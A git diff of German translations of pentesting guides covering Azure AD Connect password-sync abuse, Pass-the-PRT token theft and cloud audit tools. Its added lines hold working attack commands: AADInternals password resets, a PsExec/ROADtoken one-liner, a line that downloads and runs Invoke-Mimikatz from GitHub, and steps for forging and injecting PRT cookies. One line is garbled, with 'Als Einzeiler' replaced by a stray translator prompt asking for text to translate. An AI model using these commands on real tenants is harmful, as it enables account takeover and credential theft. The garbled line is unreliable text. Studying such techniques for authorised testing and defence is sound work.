[Dokumentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), was bedeutet, dass es **Replikationsberechtigungen (DCSync) im lokalen AD** hat. +- Das Konto **`MSOL_`** wird automatisch im lokalen AD erstellt. Dieses Konto erhält eine **Rolle für Verzeichnis-Synchronisationskonten** (siehe [Dokumentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), was bedeutet, dass es **Replikationsberechtigungen (DCSync) im lokalen AD** hat. - Ein Konto **`Sync__installationID`** wird in Azure AD erstellt. Dieses Konto kann das Passwort von **JEDEM Benutzer** (synchronisiert oder nur Cloud) in Azure AD **zurücksetzen**. Die Passwörter der beiden vorherigen privilegierten Konten werden **in einem SQL-Server** auf dem Server gespeichert, auf dem **Azure AD Connect installiert ist.** Administratoren können die Passwörter dieser privilegierten Benutzer im Klartext extrahieren.\ @@ -82,7 +82,7 @@ Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustA # Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync) ``` -Es ist auch möglich, **die Passwörter nur von Cloud**-Benutzern zu **ändern** (auch wenn das unerwartet ist) +Es ist auch möglich, **die Passwörter von nur Cloud**-Benutzern zu **ändern** (auch wenn das unerwartet ist). ```powershell # To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID # The CloudAnchor is of the format USER_ObjectID. @@ -94,17 +94,17 @@ Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" Es ist auch möglich, das Passwort dieses Benutzers zu dumpen. > [!CAUTION] -> Eine andere Option wäre, **privilegierte Berechtigungen für ein Dienstprinzipal zuzuweisen**, was der **Sync**-Benutzer **berechtigt** ist zu tun, und dann **auf dieses Dienstprinzipal zuzugreifen** als eine Möglichkeit der Privilegieneskalation. +> Eine weitere Option wäre, **privilegierte Berechtigungen für ein Dienstprinzipal zuzuweisen**, was der **Sync**-Benutzer **berechtigt** ist zu tun, und dann **auf dieses Dienstprinzipal zuzugreifen** als eine Möglichkeit zur Privilegieneskalation. -### Nahtloses SSO +### Seamless SSO -Es ist möglich, nahtloses SSO mit PHS zu verwenden, das anfällig für andere Missbräuche ist. Überprüfen Sie es in: +Es ist möglich, Seamless SSO mit PHS zu verwenden, das anfällig für andere Missbräuche ist. Überprüfen Sie es in: {{#ref}} seamless-sso.md {{#endref}} -## Referenzen +## References - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs) - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index 2c27b8450..d4549954c 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -16,13 +16,13 @@ Im Abschnitt SSO-Status sollten Sie sehen, dass **`AzureAdPrt`** auf **JA** gese
-In der gleichen Ausgabe können Sie auch sehen, ob das **Gerät mit Azure verbunden ist** (im Feld `AzureAdJoined`): +Im gleichen Output können Sie auch sehen, ob das **Gerät mit Azure verbunden ist** (im Feld `AzureAdJoined`):
## PRT-Cookie -Das PRT-Cookie wird tatsächlich **`x-ms-RefreshTokenCredential`** genannt und es ist ein JSON Web Token (JWT). Ein JWT enthält **3 Teile**, den **Header**, **Payload** und **Signature**, getrennt durch einen `.` und alle url-sicher base64 kodiert. Ein typisches PRT-Cookie enthält den folgenden Header und Body: +Das PRT-Cookie wird tatsächlich **`x-ms-RefreshTokenCredential`** genannt und es ist ein JSON Web Token (JWT). Ein JWT enthält **3 Teile**, den **Header**, **Payload** und **Signature**, die durch einen `.` getrennt und alle url-sicher base64 kodiert sind. Ein typisches PRT-Cookie enthält den folgenden Header und Body: ```json { "alg": "HS256", @@ -34,24 +34,24 @@ Das PRT-Cookie wird tatsächlich **`x-ms-RefreshTokenCredential`** genannt und e "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" } ``` -Der tatsächliche **Primary Refresh Token (PRT)** ist innerhalb des **`refresh_token`** kapsuliert, der durch einen Schlüssel, der unter der Kontrolle von Azure AD steht, verschlüsselt ist, wodurch sein Inhalt für uns undurchsichtig und nicht entschlüsselbar wird. Das Feld **`is_primary`** zeigt die Kapselung des primären Refresh-Tokens innerhalb dieses Tokens an. Um sicherzustellen, dass das Cookie an die spezifische Anmeldesitzung gebunden bleibt, für die es bestimmt ist, wird der `request_nonce` von der Seite `logon.microsoftonline.com` übertragen. +Der tatsächliche **Primary Refresh Token (PRT)** ist innerhalb des **`refresh_token`** kapsuliert, das durch einen Schlüssel verschlüsselt ist, der unter der Kontrolle von Azure AD steht, wodurch sein Inhalt für uns undurchsichtig und nicht entschlüsselbar ist. Das Feld **`is_primary`** zeigt die Kapselung des primären Refresh-Tokens innerhalb dieses Tokens an. Um sicherzustellen, dass das Cookie an die spezifische Anmeldesitzung gebunden bleibt, für die es bestimmt ist, wird der `request_nonce` von der Seite `logon.microsoftonline.com` übertragen. -### PRT Cookie-Fluss unter Verwendung von TPM +### PRT-Cookie-Flow unter Verwendung von TPM -Der **LSASS**-Prozess sendet den **KDF-Kontext** an das TPM, und das TPM verwendet den **Sitzungsschlüssel** (der beim Registrieren des Geräts in AzureAD gesammelt und im TPM gespeichert wurde) und den vorherigen Kontext, um einen **Schlüssel abzuleiten**, und dieser **abgeleitete Schlüssel** wird verwendet, um das **PRT-Cookie (JWT)** zu **signieren**. +Der **LSASS**-Prozess sendet den **KDF-Kontext** an das TPM, und das TPM verwendet den **Session-Schlüssel** (der beim Registrieren des Geräts in AzureAD gesammelt und im TPM gespeichert wurde) und den vorherigen Kontext, um einen **Schlüssel abzuleiten**, und dieser **abgeleitete Schlüssel** wird verwendet, um das **PRT-Cookie (JWT)** zu **signieren**. -Der **KDF-Kontext ist** ein Nonce von AzureAD und das PRT, das einen **JWT** gemischt mit einem **Kontext** (Zufallsbytes) erstellt. +Der **KDF-Kontext ist** ein Nonce von AzureAD und der PRT, der einen **JWT** gemischt mit einem **Kontext** (zufällige Bytes) erstellt. -Daher, selbst wenn das PRT nicht extrahiert werden kann, weil es sich im TPM befindet, ist es möglich, LSASS zu missbrauchen, um **abgeleitete Schlüssel aus neuen Kontexten anzufordern und die generierten Schlüssel zu verwenden, um Cookies zu signieren**. +Daher, selbst wenn der PRT nicht extrahiert werden kann, weil er sich im TPM befindet, ist es möglich, LSASS zu missbrauchen, um **abgeleitete Schlüssel aus neuen Kontexten anzufordern und die generierten Schlüssel zu verwenden, um Cookies zu signieren**.
## PRT-Missbrauchsszenarien Als **normaler Benutzer** ist es möglich, **PRT-Nutzung anzufordern**, indem man LSASS nach SSO-Daten fragt.\ -Dies kann wie bei **nativem Apps** geschehen, die Tokens vom **Web Account Manager** (Token-Broker) anfordern. WAM leitet die Anfrage an **LSASS** weiter, das Tokens mit einer signierten PRT-Assertion anfordert. Oder es kann mit **browserbasierten (Web-)Flüssen** geschehen, bei denen ein **PRT-Cookie** als **Header** verwendet wird, um Anfragen an die Anmeldeseiten von Azure AS zu authentifizieren. +Dies kann wie bei **nativem Apps** geschehen, die Tokens vom **Web Account Manager** (Token-Broker) anfordern. WAM leitet die Anfrage an **LSASS** weiter, das Tokens mit einer signierten PRT-Assertion anfordert. Oder es kann mit **browserbasierten (Web-)Flows** geschehen, bei denen ein **PRT-Cookie** als **Header** verwendet wird, um Anfragen an die Anmeldeseiten von Azure AS zu authentifizieren. -Als **SYSTEM** könnten Sie den **PRT stehlen, wenn er nicht durch TPM geschützt ist**, oder **mit PRT-Schlüsseln in LSASS interagieren** unter Verwendung von Krypto-APIs. +Als **SYSTEM** könnten Sie den PRT **stehlen, wenn er nicht durch TPM geschützt ist** oder **mit PRT-Schlüsseln in LSASS interagieren**, indem Sie Krypto-APIs verwenden. ## Pass-the-PRT-Angriff Beispiele @@ -84,11 +84,11 @@ Dann können Sie [**roadtoken**](https://github.com/dirkjanm/ROADtoken) verwende ```powershell .\ROADtoken.exe ``` -Als Einzeiler: +Bitte geben Sie den Text an, den Sie übersetzen möchten. ```powershell Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} ``` -Dann können Sie das **generierte Cookie** verwenden, um **Token** zu **generieren**, um sich über Azure AD **Graph** oder Microsoft Graph **anzumelden**: +Dann können Sie das **generierte Cookie** verwenden, um **Tokens** zu **generieren**, um sich mit Azure AD **Graph** oder Microsoft Graph **anzumelden**: ```powershell # Generate roadrecon auth --prt-cookie @@ -136,7 +136,7 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken # Verify access and connect with Az. You can see account id in mimikatz prt output Connect-AzAccount -AccessToken $AT -TenantID -AccountId ``` -Gehe zu [https://login.microsoftonline.com](https://login.microsoftonline.com), lösche alle Cookies für login.microsoftonline.com und gib ein neues Cookie ein. +Gehe zu [https://login.microsoftonline.com](https://login.microsoftonline.com), lösche alle Cookies für login.microsoftonline.com und füge ein neues Cookie hinzu. ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] @@ -153,12 +153,12 @@ Dann gehen Sie zu [https://portal.azure.com](https://portal.azure.com) #### Schritte 1. Der **PRT (Primary Refresh Token) wird aus LSASS** (Local Security Authority Subsystem Service) extrahiert und für die spätere Verwendung gespeichert. -2. Der **Session Key wird als nächstes extrahiert**. Da dieser Schlüssel zunächst ausgegeben und dann vom lokalen Gerät erneut verschlüsselt wird, ist eine Entschlüsselung mit einem DPAPI-Masterkey erforderlich. Detaillierte Informationen zu DPAPI (Data Protection API) finden Sie in diesen Ressourcen: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) und für ein Verständnis seiner Anwendung, siehe [Pass-the-cookie attack](az-pass-the-cookie.md). +2. Der **Session Key wird als nächstes extrahiert**. Da dieser Schlüssel zunächst ausgegeben und dann vom lokalen Gerät erneut verschlüsselt wird, ist eine Entschlüsselung mit einem DPAPI-Masterkey erforderlich. Detaillierte Informationen zu DPAPI (Data Protection API) finden Sie in diesen Ressourcen: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) und für ein Verständnis seiner Anwendung siehe [Pass-the-cookie attack](az-pass-the-cookie.md). 3. Nach der Entschlüsselung des Session Keys werden der **abgeleitete Schlüssel und der Kontext für den PRT erhalten**. Diese sind entscheidend für die **Erstellung des PRT-Cookies**. Insbesondere wird der abgeleitete Schlüssel verwendet, um das JWT (JSON Web Token), das das Cookie bildet, zu signieren. Eine umfassende Erklärung dieses Prozesses wurde von Dirk-jan bereitgestellt und ist [hier](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) zugänglich. > [!CAUTION] > Beachten Sie, dass, wenn der PRT im TPM und nicht in `lsass` ist, **mimikatz ihn nicht extrahieren kann**.\ -> Es wird jedoch möglich sein, einen **Schlüssel aus einem abgeleiteten Schlüssel aus einem Kontext** aus dem TPM zu erhalten und ihn zu verwenden, um ein **Cookie zu signieren (siehe Option 3).** +> Es wird jedoch möglich sein, einen **Schlüssel aus einem abgeleiteten Schlüssel aus einem Kontext** aus dem TPM zu erhalten und ihn zu verwenden, um **ein Cookie zu signieren (siehe Option 3).** Sie finden eine **detaillierte Erklärung des durchgeführten Prozesses**, um diese Details hier zu extrahieren: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) @@ -175,19 +175,19 @@ Sekurlsa::cloudap iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' ``` -(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview) +(Images von https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
**Kopiere** den Teil, der mit **Prt** gekennzeichnet ist, und speichere ihn.\ -Extrahiere auch den Sitzungsschlüssel (den **`KeyValue`** des **`ProofOfPossesionKey`**-Feldes), den du unten hervorgehoben sehen kannst. Dieser ist verschlüsselt und wir müssen unsere DPAPI-Masterkeys verwenden, um ihn zu entschlüsseln. +Extrahiere auch den Sitzungsschlüssel (den **`KeyValue`** des **`ProofOfPossesionKey`** Feldes), den du unten hervorgehoben sehen kannst. Dieser ist verschlüsselt und wir müssen unsere DPAPI-Masterkeys verwenden, um ihn zu entschlüsseln.
> [!NOTE] > Wenn du keine PRT-Daten siehst, könnte es sein, dass du **keine PRTs hast**, weil dein Gerät nicht mit Azure AD verbunden ist, oder es könnte sein, dass du **eine alte Version** von Windows 10 verwendest. -Um den Sitzungsschlüssel zu **entschlüsseln**, musst du deine Berechtigungen auf **SYSTEM** **erhöhen**, um im Computer-Kontext zu arbeiten und den **DPAPI-Masterkey zur Entschlüsselung zu verwenden**. Du kannst die folgenden Befehle verwenden, um dies zu tun: +Um den Sitzungsschlüssel zu **entschlüsseln**, musst du deine Berechtigungen auf **SYSTEM** **erhöhen**, um im Kontext des Computers zu arbeiten, damit du den **DPAPI-Masterkey zur Entschlüsselung verwenden kannst**. Du kannst die folgenden Befehle verwenden, um dies zu tun: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect @@ -219,16 +219,16 @@ HttpOnly: Set to True (checked) ``` - Gehe dann zu [https://portal.azure.com](https://portal.azure.com) -> [!CAUTION] +> [!VORSICHT] > Der Rest sollte die Standardwerte sein. Stelle sicher, dass du die Seite aktualisieren kannst und das Cookie nicht verschwindet. Wenn es verschwindet, hast du möglicherweise einen Fehler gemacht und musst den Prozess erneut durchlaufen. Wenn nicht, solltest du in Ordnung sein. #### Option 2 - roadrecon mit PRT -- Erneuere zuerst das PRT, das in `roadtx.prt` gespeichert wird: +- Erneuere zuerst das PRT, das es in `roadtx.prt` speichern wird: ```bash roadtx prt -a renew --prt --prt-sessionkey ``` -- Jetzt können wir **Tokens anfordern**, indem wir den interaktiven Browser mit `roadtx browserprtauth` verwenden. Wenn wir den Befehl `roadtx describe` verwenden, sehen wir, dass das Zugriffstoken einen MFA-Anspruch enthält, da der PRT, den ich in diesem Fall verwendet habe, ebenfalls einen MFA-Anspruch hatte. +- Jetzt können wir **Token anfordern**, indem wir den interaktiven Browser mit `roadtx browserprtauth` verwenden. Wenn wir den Befehl `roadtx describe` verwenden, sehen wir, dass das Zugriffstoken einen MFA-Anspruch enthält, da der PRT, den ich in diesem Fall verwendet habe, ebenfalls einen MFA-Anspruch hatte. ```bash roadtx browserprtauth roadtx describe < .roadtools_auth diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index 4150d1a33..2b3797add 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -9,28 +9,28 @@ Jede Cloud hat ihre eigenen Besonderheiten, aber im Allgemeinen gibt es einige **gemeinsame Dinge, die ein Pentester überprüfen sollte**, wenn er eine Cloud-Umgebung testet: - **Benchmark-Überprüfungen** -- Dies wird Ihnen helfen, **die Größe** der Umgebung und **die verwendeten Dienste** zu **verstehen**. -- Es wird Ihnen auch ermöglichen, einige **schnelle Fehlkonfigurationen** zu finden, da Sie die meisten dieser Tests mit **automatisierten Tools** durchführen können. +- Dies wird Ihnen helfen, **die Größe** der Umgebung und **die verwendeten Dienste** zu verstehen. +- Es ermöglicht Ihnen auch, einige **schnelle Fehlkonfigurationen** zu finden, da Sie die meisten dieser Tests mit **automatisierten Tools** durchführen können. - **Dienstenumeration** - Sie werden hier wahrscheinlich nicht viel mehr Fehlkonfigurationen finden, wenn Sie die Benchmark-Tests korrekt durchgeführt haben, aber Sie könnten einige finden, die im Benchmark-Test nicht gesucht wurden. -- Dies wird Ihnen ermöglichen, **genau zu wissen, was verwendet wird** in der Cloud-Umgebung. +- Dies wird Ihnen ermöglichen zu wissen, **was genau verwendet wird** in der Cloud-Umgebung. - Dies wird in den nächsten Schritten sehr hilfreich sein. - **Überprüfen Sie exponierte Ressourcen** -- Dies kann während des vorherigen Abschnitts erfolgen, Sie müssen **alles herausfinden, was potenziell exponiert ist** und wie darauf zugegriffen werden kann. -- Hier spreche ich von **manuell exponierter Infrastruktur**, wie Instanzen mit Webseiten oder anderen exponierten Ports, sowie von anderen **cloudverwalteten Diensten, die konfiguriert werden können**, um exponiert zu sein (wie DBs oder Buckets). +- Dies kann während des vorherigen Abschnitts erfolgen, Sie müssen **alles herausfinden, was potenziell exponiert** ist und wie darauf zugegriffen werden kann. +- Hier beziehe ich mich auf **manuell exponierte Infrastruktur**, wie Instanzen mit Webseiten oder anderen exponierten Ports, sowie auf andere **cloudverwaltete Dienste, die konfiguriert werden können**, um exponiert zu sein (wie DBs oder Buckets). - Dann sollten Sie überprüfen, **ob diese Ressource exponiert werden kann oder nicht** (vertrauliche Informationen? Schwachstellen? Fehlkonfigurationen im exponierten Dienst?). - **Überprüfen Sie Berechtigungen** - Hier sollten Sie **alle Berechtigungen jeder Rolle/Jedes Benutzers** in der Cloud herausfinden und wie sie verwendet werden. -- Zu **viele hochprivilegierte** (alles kontrollieren) Konten? Generierte Schlüssel, die nicht verwendet werden?... Die meisten dieser Überprüfungen sollten bereits in den Benchmark-Tests durchgeführt worden sein. +- Zu **viele hochprivilegierte** (alles kontrollierende) Konten? Generierte Schlüssel, die nicht verwendet werden?... Die meisten dieser Überprüfungen sollten bereits in den Benchmark-Tests durchgeführt worden sein. - Wenn der Kunde OpenID oder SAML oder eine andere **Föderation** verwendet, müssen Sie möglicherweise nach weiteren **Informationen** fragen, wie **jede Rolle zugewiesen wird** (es ist nicht dasselbe, ob die Admin-Rolle einem Benutzer oder 100 Benutzern zugewiesen ist). - Es ist **nicht genug zu finden**, welche Benutzer **Admin**-Berechtigungen "\*:\*" haben. Es gibt viele **andere Berechtigungen**, die je nach den verwendeten Diensten sehr **sensibel** sein können. - Darüber hinaus gibt es **potenzielle Privilegieneskalations**-Wege, die durch den Missbrauch von Berechtigungen verfolgt werden können. All diese Dinge sollten berücksichtigt werden und **so viele Privilegieneskalationspfade wie möglich** sollten gemeldet werden. - **Überprüfen Sie Integrationen** - Es ist sehr wahrscheinlich, dass **Integrationen mit anderen Clouds oder SaaS** innerhalb der Cloud-Umgebung verwendet werden. -- Für **Integrationen der Cloud, die Sie auditieren**, mit anderen Plattformen sollten Sie **benachrichtigen, wer Zugang hat, um diese Integration (miss)zu verwenden**, und Sie sollten fragen, **wie sensibel** die durchgeführte Aktion ist.\ +- Für **Integrationen der Cloud, die Sie prüfen**, sollten Sie benachrichtigen, **wer Zugriff hat, um diese Integration (miss)zuverwenden**, und Sie sollten fragen, **wie sensibel** die durchgeführte Aktion ist.\ Zum Beispiel, wer kann in einen AWS-Bucket schreiben, aus dem GCP Daten bezieht (fragen Sie, wie sensibel die Aktion in GCP im Umgang mit diesen Daten ist). -- Für **Integrationen innerhalb der Cloud, die Sie auditieren**, von externen Plattformen sollten Sie fragen, **wer externen Zugang hat, um diese Integration (miss)zu verwenden**, und überprüfen, wie diese Daten verwendet werden.\ -Zum Beispiel, wenn ein Dienst ein Docker-Image verwendet, das in GCR gehostet wird, sollten Sie fragen, wer Zugang hat, um das zu ändern, und welche sensiblen Informationen und Zugriffe dieses Image erhält, wenn es in einer AWS-Cloud ausgeführt wird. +- Für **Integrationen innerhalb der Cloud, die Sie prüfen**, von externen Plattformen sollten Sie fragen, **wer externen Zugriff hat, um diese Integration (miss)zuverwenden**, und überprüfen, wie diese Daten verwendet werden.\ +Zum Beispiel, wenn ein Dienst ein Docker-Image verwendet, das in GCR gehostet wird, sollten Sie fragen, wer Zugriff hat, um das zu ändern, und welche sensiblen Informationen und Zugriffe dieses Image erhält, wenn es in einer AWS-Cloud ausgeführt wird. ## Multi-Cloud-Tools @@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env ### [Prowler](https://github.com/prowler-cloud/prowler) -Es unterstützt **AWS, GCP & Azure**. Überprüfen Sie, wie Sie jeden Anbieter unter [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) konfigurieren. +Es unterstützt **AWS, GCP & Azure**. Überprüfen Sie, wie Sie jeden Anbieter in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) konfigurieren. ```bash # Install pip install prowler @@ -170,7 +170,7 @@ steampipe check all Alle Projekte überprüfen -Um alle Projekte zu überprüfen, müssen Sie die Datei `gcp.spc` generieren, die alle zu testenden Projekte angibt. Sie können einfach den Anweisungen des folgenden Skripts folgen. +Um alle Projekte zu überprüfen, müssen Sie die Datei `gcp.spc` erstellen, die alle zu testenden Projekte angibt. Sie können einfach den Anweisungen des folgenden Skripts folgen. ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -255,7 +255,7 @@ sudo mv cloudlist /usr/local/bin ``` {{#endtab }} -{{#tab name="Zweiter Tab" }} +{{#tab name="Zweite Registerkarte" }} ```bash ## For GCP it requires service account JSON credentials cloudlist -config @@ -263,7 +263,7 @@ cloudlist -config {{#endtab }} {{#endtabs }} -### [**cartography**](https://github.com/lyft/cartography) +### [**Cartography**](https://github.com/lyft/cartography) Cartography ist ein Python-Tool, das Infrastrukturressourcen und die Beziehungen zwischen ihnen in einer intuitiven grafischen Ansicht konsolidiert, die von einer Neo4j-Datenbank unterstützt wird. @@ -377,7 +377,7 @@ Ein Tool, um die Infrastruktur, Dateien und Apps eines Unternehmens (Ziel) bei d ### [CloudFox](https://github.com/BishopFox/cloudfox) - CloudFox ist ein Tool, um ausnutzbare Angriffswege in der Cloud-Infrastruktur zu finden (derzeit werden nur AWS und Azure unterstützt, GCP kommt bald). -- Es ist ein Enumerationswerkzeug, das dazu gedacht ist, manuelles pentesting zu ergänzen. +- Es ist ein Enumerationswerkzeug, das dazu gedacht ist, manuelles Pentesting zu ergänzen. - Es erstellt oder ändert keine Daten innerhalb der Cloud-Umgebung. ### Weitere Listen von Cloud-Sicherheitswerkzeugen @@ -412,7 +412,7 @@ azure-security/ ### Angriffsgraph -[**Stormspotter** ](https://github.com/Azure/Stormspotter) erstellt einen „Angriffsgraph“ der Ressourcen in einem Azure-Abonnement. Es ermöglicht roten Teams und Pentestern, die Angriffsfläche und Pivot-Möglichkeiten innerhalb eines Mandanten zu visualisieren und stärkt Ihre Verteidiger, um schnell zu orientieren und die Incident-Response-Arbeit zu priorisieren. +[**Stormspotter** ](https://github.com/Azure/Stormspotter) erstellt einen „Angriffsgraph“ der Ressourcen in einem Azure-Abonnement. Es ermöglicht roten Teams und Pentestern, die Angriffsfläche und Pivot-Möglichkeiten innerhalb eines Mandanten zu visualisieren und unterstützt Ihre Verteidiger, um schnell zu orientieren und die Incident-Response-Arbeit zu priorisieren. ### Office365